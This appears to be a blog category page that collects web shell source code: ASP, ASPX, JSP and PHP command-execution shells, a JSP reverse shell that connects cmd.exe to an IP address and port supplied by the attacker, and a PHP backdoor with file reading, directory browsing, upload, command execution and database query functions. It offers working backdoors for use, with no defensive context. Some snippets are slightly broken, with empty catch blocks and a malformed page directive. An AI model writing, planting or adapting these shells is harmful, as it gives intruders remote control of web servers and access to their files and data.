'gravity-free/webshell' 카테고리의 글 목록

<title>514 aspshell</title>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="cmd" size=45 value="<%= cmd %>">
<input type=submit value="Run">
</FORM>
<PRE>

<%
If (request("cmd") <> "") Then
Response.Write Server.HTMLEncode(server.createobject("wscript.shell").exec(Server.MapPath("cmd.exe")& " /c " &

request("cmd")).stdout.readall)
End If
%>

</PRE>

cmdaspx.aspx

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CODE:

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

cmd-asp-5.1.asp

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CODE:

<%

' ASP Cmd Shell On IIS 5.1
' brett.moore_at_security-assessment.com
' http://seclists.org/bugtraq/2006/Dec/0226.html

Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")
If (szCMD <> "") Then
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
' Here we do the command
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
oF.Close
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>

cmd-asp.asp

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CODE:

<%@ Language=VBScript %>
<%
' --------------------o0o--------------------
' File: CmdAsp.asp
' Author: Maceo <maceo @ dogmile.com>
' Release: 2000-12-01
' OS: Windows 2000, 4.0 NT
' -------------------------------------------

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

cmdjsp.jsp

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CODE:

// note that linux = cmd and windows = "cmd.exe /c + cmd"

<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>

jsp-reverse.jsp

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CODE:

// backdoor.jsp
// http://www.security.org.sg/code/jspreverse.html

<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;

StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}

public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;

try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));

char buffer[] = new char[8192];
int lenRead;

while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)

try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
%>

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");

StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());

StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());

outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
%>

simple_backdoor.php

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CODE:

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

php-backdoor.php

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CODE:

<?
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\

ob_implicit_flush();
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
$file=fopen("$filename","rb");
fpassthru($file);
die;
}
if(isset($_REQUEST['d'])){
$d=$_REQUEST['d'];
echo "<pre>";
if ($handle = opendir("$d")) {
echo "<h2>listing of $d</h2>";
while ($dir = readdir($handle)){
if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
echo "$dir\n";
echo "</font></a>";
}

} else echo "opendir() failed";
closedir($handle);
die ("<hr>");
}
if(isset($_REQUEST['c'])){
echo "<pre>";
system($_REQUEST['c']);
die;
}
if(isset($_REQUEST['upload'])){

if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
else $dir=$_REQUEST['dir'];
$fname=$HTTP_POST_FILES['file_name']['name'];
if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){

$host=$_REQUEST['host'];
$usr=$_REQUEST['usr'];
$passwd=$_REQUEST['passwd'];
$db=$_REQUEST['db'];
$mquery=$_REQUEST['mquery'];
mysql_connect("$host", "$usr", "$passwd") or
die("Could not connect: " . mysql_error());
mysql_select_db("$db");
$result = mysql_query("$mquery");
if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
mysql_free_result($result);
die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir"> <input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">

database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>

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